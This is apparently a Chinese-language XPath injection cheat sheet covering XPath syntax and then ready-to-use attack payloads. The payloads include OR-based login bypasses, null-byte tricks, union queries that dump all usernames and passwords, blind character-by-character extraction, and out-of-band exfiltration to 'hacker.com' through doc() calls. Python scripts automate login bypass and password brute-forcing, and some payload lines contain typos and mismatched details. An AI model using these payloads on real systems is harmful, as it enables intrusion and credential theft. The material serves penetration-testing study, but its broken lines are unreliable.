XPATH injection

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基本语法

一种称为XPath注入的攻击技术被用来利用根据用户输入形成XPath（XML路径语言）查询的应用程序来查询或导航XML文档。

描述的节点

表达式用于选择XML文档中的各种节点。以下是这些表达式及其描述的总结：

• nodename：选择所有名称为“nodename”的节点。

• /：从根节点进行选择。

• //：选择与当前节点匹配的节点，无论它们在文档中的位置如何。

• .：选择当前节点。

• ..：选择当前节点的父节点。

• @：选择属性。

XPath示例

路径表达式及其结果的示例包括：

• bookstore：选择所有名称为“bookstore”的节点。

• /bookstore：选择根元素bookstore。请注意，表示元素的绝对路径以斜杠（/）开头。

• bookstore/book：选择bookstore的子元素book。

• //book：选择文档中的所有book元素，无论它们的位置如何。

• bookstore//book：选择bookstore元素下的所有后代book元素，无论它们在bookstore元素下的位置如何。

• //@lang：选择所有名称为lang的属性。

谓词的使用

谓词用于细化选择：

• /bookstore/book[1]：选择bookstore元素的第一个book元素子节点。对于将第一个节点索引为[0]的IE版本5到9的解决方法是通过JavaScript将SelectionLanguage设置为XPath。

• /bookstore/book[last()]：选择bookstore元素的最后一个book元素子节点。

• /bookstore/book[last()-1]：选择bookstore元素的倒数第二个book元素子节点。

• /bookstore/book[position()<3]：选择bookstore元素的前两个book元素子节点。

• //title[@lang]：选择具有lang属性的所有title元素。

• //title[@lang='en']：选择具有值为“en”的“lang”属性的所有title元素。

• /bookstore/book[price>35.00]：选择价格大于35.00的所有book元素。

• /bookstore/book[price>35.00]/title：选择价格大于35.00的book元素的bookstore中的所有title元素。

未知节点的处理

通配符用于匹配未知节点：

• *：匹配任何元素节点。

• @*：匹配任何属性节点。

• node()：匹配任何类型的任何节点。

进一步的示例包括：

• /bookstore/*：选择bookstore元素的所有子元素节点。

• //*：选择文档中的所有元素。

• //title[@*]：选择具有至少一个任意类型属性的所有title元素。

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

访问信息

XPath注入是一种利用应用程序中的XPath表达式来访问或修改数据的攻击技术。攻击者可以通过构造恶意的XPath表达式来绕过身份验证、访问敏感数据或执行其他恶意操作。XPath注入通常发生在搜索表单或过滤器等用户可控输入的地方。要防止XPath注入，应该使用参数化查询或编码输入数据。

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

识别和窃取模式

• 使用错误的XPath查询来识别数据库架构

• 通过逐步调整查询来窃取数据

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

身份验证绕过

查询示例：

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

用户和密码中的OR绕过（两者的值相同）

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

滥用空值注入

Username: ' or 1]%00

用户名或密码中的双重OR（仅在一个易受攻击的字段中有效）

重要提示：请注意**“and”是首先执行的操作**。

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

字符串提取

输出包含字符串，用户可以操纵这些值进行搜索：

/user/username[contains(., '+VALUE+')]

') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

盲目利用

获取值的长度并通过比较提取它：

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Python 示例

import requests

url = "http://example.com/login"
payload = "' or '1'='1'--"
data = {"username": payload, "password": "password", "submit": "submit"}

response = requests.post(url, data=data)
print(response.text)

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

读取文件

1. Payload:

   ' or '1'='1

2. Request:

   GET /product?category=' or '1'='1 HTTP/1.1
   Host: vulnerable-website.com

3. Analysis:

   • The payload ' or '1'='1 will make the XPath query always return true, allowing the attacker to read the entire file.

4. Recommendation:

   • Sanitize user input and use parameterized XPath queries to prevent XPath injection.

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB利用

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

自动化工具

• xcat

• xxxpwn

• xxxpwn_smart

• xpath-blind-explorer

• XmlChor

参考资料

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection

• https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)

• https://www.w3schools.com/xml/xpath_syntax.asp

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